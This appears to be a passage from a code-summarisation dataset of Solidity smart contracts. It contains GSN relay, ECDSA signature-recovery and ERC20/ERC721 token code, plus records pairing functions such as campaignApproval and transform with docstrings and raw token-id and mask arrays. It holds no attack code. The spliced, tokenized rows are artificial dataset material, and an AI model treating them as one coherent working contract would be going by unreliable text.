require(msg.sender == getHubAddr(), "GSNRecipient: caller is not RelayHub");
_postRelayedCall(context, success, actualCharge, preRetVal);
}
/**
* @dev See `IRelayRecipient.postRelayedCall`.
*
* Called by `GSNRecipient.postRelayedCall`, which asserts the caller is the `RelayHub` contract. Derived contracts
* must implement this function with any relayed-call postprocessing they may wish to do.
*
*/
function _postRelayedCall(bytes memory context, bool success, uint256 actualCharge, bytes32 preRetVal) internal;
/**
* @dev Return this in acceptRelayedCall to proceed with the execution of a relayed call. Note that this contract
* will be charged a fee by RelayHub
*/
function _approveRelayedCall() internal pure returns (uint256, bytes memory) {
return _approveRelayedCall("");
}
/**
* @dev See `GSNRecipient._approveRelayedCall`.
*
* This overload forwards `context` to _preRelayedCall and _postRelayedCall.
*/
function _approveRelayedCall(bytes memory context) internal pure returns (uint256, bytes memory) {
return (RELAYED_CALL_ACCEPTED, context);
}
/**
* @dev Return this in acceptRelayedCall to impede execution of a relayed call. No fees will be charged.
*/
function _rejectRelayedCall(uint256 errorCode) internal pure returns (uint256, bytes memory) {
return (RELAYED_CALL_REJECTED + errorCode, "");
}
/*
* @dev Calculates how much RelayHub will charge a recipient for using `gas` at a `gasPrice`, given a relayer's
* `serviceFee`.
*/
function _computeCharge(uint256 gas, uint256 gasPrice, uint256 serviceFee) internal pure returns (uint256) {
// The fee is expressed as a percentage. E.g. a value of 40 stands for a 40% fee, so the recipient will be
// charged for 1.4 times the spent amount.
return (gas * gasPrice * (100 + serviceFee)) / 100;
}
function _getRelayedCallSender() private pure returns (address payable result) {
// We need to read 20 bytes (an address) located at array index msg.data.length - 20. In memory, the array
// is prefixed with a 32-byte length value, so we first add 32 to get the memory read index. However, doing
// so would leave the address in the upper 20 bytes of the 32-byte word, which is inconvenient and would
// require bit shifting. We therefore subtract 12 from the read index so the address lands on the lower 20
// bytes. This can always be done due to the 32-byte prefix.
// The final memory read index is msg.data.length - 20 + 32 - 12 = msg.data.length. Using inline assembly is the
// easiest/most-efficient way to perform this operation.
// These fields are not accessible from assembly
bytes memory array = msg.data;
uint256 index = msg.data.length;
// solhint-disable-next-line no-inline-assembly
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
function _getRelayedCallData() private pure returns (bytes memory) {
// RelayHub appends the sender address at the end of the calldata, so in order to retrieve the actual msg.data,
// we must strip the last 20 bytes (length of an address type) from it.
uint256 actualDataLength = msg.data.length - 20;
bytes memory actualData = new bytes(actualDataLength);
for (uint256 i = 0; i < actualDataLength; ++i) {
actualData[i] = msg.data[i];
}
return actualData;
}
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* NOTE: This call _does not revert_ if the signature is invalid, or
* if the signer is otherwise unable to be retrieved. In those scenarios,
* the zero address is returned.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
/**
* @dev A xref:ROOT:gsn-strategies.adoc#gsn-strategies[GSN strategy] that allows relayed transactions through when they are
* accompanied by the signature of a trusted signer. The intent is for this signature to be generated by a server that
* performs validations off-chain. Note that nothing is charged to the user in this scheme. Thus, the server should make
* sure to account for this in their economic and threat model.
*/
contract GSNRecipientSignature is Initializable, GSNRecipient {
using ECDSA for bytes32;
address private _trustedSigner;
enum GSNRecipientSignatureErrorCodes {
INVALID_SIGNER
}
/**
* @dev Sets the trusted signer that is going to be producing signatures to approve relayed calls.
*/
function initialize(address trustedSigner) public initializer {
require(trustedSigner != address(0), "GSNRecipientSignature: trusted signer is the zero address");
_trustedSigner = trustedSigner;
GSNRecipient.initialize();
}
/**
* @dev Ensures that only transactions with a trusted signature can be relayed through the GSN.
*/
function acceptRelayedCall(
address relay,
address from,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata approvalData,
uint256
)
external
view
returns (uint256, bytes memory)
{
bytes memory blob = abi.encodePacked(
relay,
from,
encodedFunction,
transactionFee,
gasPrice,
gasLimit,
nonce, // Prevents replays on RelayHub
getHubAddr(), // Prevents replays in multiple RelayHubs
address(this) // Prevents replays in multiple recipients
);
if (keccak256(blob).toEthSignedMessageHash().recover(approvalData) == _trustedSigner) {
return _approveRelayedCall();
} else {
return _rejectRelayedCall(uint256(GSNRecipientSignatureErrorCodes.INVALID_SIGNER));
}
}
function _preRelayedCall(bytes memory) internal returns (bytes32) {
// solhint-disable-previous-line no-empty-blocks
}
function _postRelayedCall(bytes memory, bool, uint256, bytes32) internal {
// solhint-disable-previous-line no-empty-blocks
}
}
/**
* @dev Contract that sets access control levels for users and charities.
*/
contract CommitGoodAccessControl is Initializable, Ownable, GSNRecipientSignature, CommitGoodBase {
mapping(address => bool) public users;
mapping(address => bool) public campaigns;
function initialize(address owner, address trustedSigner) public initializer {
GSNRecipientSignature.initialize(trustedSigner);
Ownable.initialize(owner);
}
/**
* @dev Emitted when `registrar` has their authorization `enabled`.
* @param registrar Address of the account to be authorized or deauthorized.
* @param enabled Boolean value that denotes the authorization.
*/
event Authorize(address indexed registrar, bool enabled);
/**
* Emitted when `campaign` has their authorization `enabled`.
*/
event CampaignAuthorize(address indexed campaign, bool enabled);
/**
* @dev Validates an address
* @param account The address that is being validated
*
* Requirements:
*
* - `account` cannot be a zero address or a contract address.
*/
modifier validAddress(address account) {
require(account != address(0), "0x0 is not a valid address");
require(!Address.isContract(account), "Contract address is not a valid address");
_;
}
/**
* @dev Validates a contract address
* @param kontract The address that is being validated
*
* Requirements:
*
* - `kontract` cannot be a zero address and must be a contract address.
*/
modifier validContract(address kontract) {
require(kontract != address(0), "0x0 is not a valid address");
require(Address.isContract(kontract), "Contract address is not a valid address");
_;
}
/**
* @dev Adds a user to the whitelist.
* @param account The wallet address of the user.
* @return True indicating the function completed successfully.
*
* Emits a {Authorize} event.
*
* Requirements:
*
* - `account` cannot be a zero address and must not be a contract.
*/
function whitelistUser(address account) public onlyOwner validAddress(account) returns (bool) {
users[account] = true;
emit Authorize(account, true);
return true;
}
/**
* @dev Removes a user from the whitelist.
* @param account The wallet address of the user.
* @return True indicating the function completed successfully.
*
* Emits a {Authorize} event.
*
* Requirements:
*
* - `account` cannot be a zero address and must not be a contract.
*/
function blacklistUser(address account) public onlyOwner validAddress(account) returns (bool) {
users[account] = false;
emit Authorize(account, false);
return true;
}
/**
* @dev Adds a campaign from the whitelist.
* @param campaign The contract address of the campaign.
* @return True indicating the function completed successfully.
*
* Emits a {CampaignAuthorize} event.
*
* Requirements:
*
* - `campaign` cannot be a zero address and must be a contract.
*/
function whitelistCampaign(address campaign) public onlyOwner validContract(campaign) returns (bool) {
campaigns[campaign] = true;
emit CampaignAuthorize(campaign, true);
return true;
}
/**
* @dev Removes a campaign from the whitelist.
* @param campaign The contract address of the campaign.
* @return True indicating the function completed successfully.
*
* Emits a {CampaignAuthorize} event.
*
* Requirements:
*
* - `campaign` cannot be a zero address and must be a contract.
*/
function blacklistCampaign(address campaign) public onlyOwner validContract(campaign) returns (bool) {
campaigns[campaign] = false;
emit CampaignAuthorize(campaign, false);
return true;
}
/**
* @dev Returns a boolean value indicating if the user is whitelisted.
* @param account The wallet address of the user.
* @return A boolean value indicating if the user is whitelisted.
*
* Requirements:
*
* - `account` cannot be a zero address.
*/
function isUserWhitelisted(address account) public view validAddress(account) returns (bool) {
return users[account];
}
/**
* @dev Returns a boolean value indicating if the campaign is whitelisted.
* @param campaign The contract address of the campaign.
* @return A boolean value indicating if the campaign is whitelisted.
*
* Requirements:
*
* - `campaign` cannot be a zero address and must be a contract.
*/
function isCampaignWhitelisted(address campaign) public view validContract(campaign) returns (bool) {
return campaigns[campaign];
}
function _preRelayedCall(bytes memory context) internal returns (bytes32) {}
function _postRelayedCall(bytes memory context, bool success, uint256 actualCharge, bytes32 preRetVal) internal {
emit CommitGoodTransactionCharge(actualCharge);
}
}
contract CommitGoodToken is
Initializable,
Ownable,
ERC20,
ERC20Detailed,
ERC20Mintable,
ERC20Capped,
ERC20Burnable,
ERC20Pausable,
CommitGoodBase {
CommitGoodAccessControl private _accessControl;
function initialize(
address owner,
string memory name,
string memory symbol,
uint8 decimals,
uint256 capacity) public initializer {
Ownable.initialize(owner);
ERC20Detailed.initialize(name, symbol, decimals);
ERC20Capped.initialize(capacity, owner);
ERC20Mintable.initialize(owner);
ERC20Pausable.initialize(owner);
}
/**
* @dev Allows the token owner to set the access control contract. In the future when the
* organization can become an actual DAO, the owners can utilize a voting mechanism to
* update the access control contract.
* @param accessControl The address of the access control contract that adheres to the `CommitGoodAccessControl` contract.
*
* Requirements:
*
* - `msg.sender` must be the token owner.
*/
function setAccessControl(CommitGoodAccessControl accessControl) public onlyOwner {
_accessControl = accessControl;
}
/**
* @dev Allows the campaigns contract to set approvals on the users behalf when executing donations.
* @param donor The donor that executed the transaction.
* @param amount The amount that is to be donated to the campaign.
* @return A boolean value indicating that the approval succeeded.
*
* Requirements:
*
* - `donor` must be whitelisted.
* - `_msgSender()` must be a contract and the campaigns contract.
*/
function campaignApproval(address donor, uint256 amount) public returns(bool) {
require(_accessControl.isUserWhitelisted(donor), "The donor must be whitelisted.");
require(Address.isContract(_msgSender()), "Recipient must be a contract.");
require(_accessControl.isCampaignWhitelisted(_msgSender()), "The campaign must be whitelisted.");
_approve(donor, _msgSender(), amount);
return true;
}
}
|
* @dev Allows the campaigns contract to set approvals on the users behalf when executing donations. @param donor The donor that executed the transaction. @param amount The amount that is to be donated to the campaign. @return A boolean value indicating that the approval succeeded. Requirements: - `donor` must be whitelisted. - `_msgSender()` must be a contract and the campaigns contract./
|
function campaignApproval(address donor, uint256 amount) public returns(bool) {
require(_accessControl.isUserWhitelisted(donor), "The donor must be whitelisted.");
require(Address.isContract(_msgSender()), "Recipient must be a contract.");
require(_accessControl.isCampaignWhitelisted(_msgSender()), "The campaign must be whitelisted.");
_approve(donor, _msgSender(), amount);
return true;
}
| 9,925,223 |
[
1,
19132,
326,
8965,
87,
6835,
358,
444,
6617,
4524,
603,
326,
3677,
12433,
6186,
1347,
11274,
2727,
1012,
18,
225,
2727,
280,
1021,
2727,
280,
716,
7120,
326,
2492,
18,
225,
3844,
1021,
3844,
716,
353,
358,
506,
2727,
690,
358,
326,
8965,
18,
327,
432,
1250,
460,
11193,
716,
326,
23556,
15784,
18,
29076,
30,
300,
1375,
19752,
280,
68,
1297,
506,
26944,
18,
300,
1375,
67,
3576,
12021,
20338,
1297,
506,
279,
6835,
471,
326,
8965,
87,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
8965,
23461,
12,
2867,
2727,
280,
16,
2254,
5034,
3844,
13,
1071,
1135,
12,
6430,
13,
288,
203,
3639,
2583,
24899,
3860,
3367,
18,
291,
1299,
18927,
329,
12,
19752,
280,
3631,
315,
1986,
2727,
280,
1297,
506,
26944,
1199,
1769,
203,
3639,
2583,
12,
1887,
18,
291,
8924,
24899,
3576,
12021,
1435,
3631,
315,
18241,
1297,
506,
279,
6835,
1199,
1769,
203,
3639,
2583,
24899,
3860,
3367,
18,
291,
13432,
18927,
329,
24899,
3576,
12021,
1435,
3631,
315,
1986,
8965,
1297,
506,
26944,
1199,
1769,
203,
3639,
389,
12908,
537,
12,
19752,
280,
16,
389,
3576,
12021,
9334,
3844,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xeA6aa730BF3788710bd20CAd898407b714A9340a/sources/Pro.sol
|
@dev transform into a pro account Transfer token Increase total Emit noise Mint a token (because why not) Return total transformed
|
function transform(uint256 amount) external returns(uint256) {
require(amount >= _rate, "amount must be >= rate");
TOKEN.transferFrom(msg.sender, address(this), amount);
transformed[msg.sender] += amount;
emit GonePro(msg.sender, amount);
_mint(address(this), amount);
return amount;
}
| 4,014,192 |
[
1,
6547,
1368,
279,
450,
2236,
12279,
1147,
657,
11908,
2078,
16008,
10825,
490,
474,
279,
1147,
261,
26274,
11598,
486,
13,
2000,
2078,
10220,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2510,
12,
11890,
5034,
3844,
13,
3903,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
8949,
1545,
389,
5141,
16,
315,
8949,
1297,
506,
1545,
4993,
8863,
203,
203,
3639,
14275,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
1769,
540,
203,
203,
3639,
10220,
63,
3576,
18,
15330,
65,
1011,
3844,
31,
203,
203,
3639,
3626,
611,
476,
626,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
203,
3639,
389,
81,
474,
12,
2867,
12,
2211,
3631,
3844,
1769,
203,
203,
3639,
327,
3844,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.6;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
library Strings {
function toString(uint value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint temp = value;
uint digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint balance);
function ownerOf(uint tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint tokenId) external;
function transferFrom(address from, address to, uint tokenId) external;
function approve(address to, uint tokenId) external;
function getApproved(uint tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint);
function tokenOfOwnerByIndex(address owner, uint index) external view returns (uint tokenId);
function tokenByIndex(uint index) external view returns (uint);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenId, bytes calldata data)
external returns (bytes4);
}
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint toDeleteIndex = valueIndex - 1;
uint lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint) {
return set._values.length;
}
function _at(Set storage set, uint index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint) {
return _length(set._inner);
}
function at(AddressSet storage set, uint index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint) {
return _length(set._inner);
}
function at(UintSet storage set, uint index) internal view returns (uint) {
return uint(_at(set._inner, index));
}
}
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint toDeleteIndex = keyIndex - 1;
uint lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint) {
return map._entries.length;
}
function _at(Map storage map, uint index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint(uint160(value))));
}
function remove(UintToAddressMap storage map, uint key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint index) internal view returns (uint, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint(key), address(uint160(uint(value))));
}
function get(UintToAddressMap storage map, uint key) internal view returns (address) {
return address(uint160(uint(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint(_get(map._inner, bytes32(key), errorMessage))));
}
}
contract ERC721 is ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory __name, string memory __symbol) {
_name = __name;
_symbol = __symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view override returns (uint) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function tokenURI(uint tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
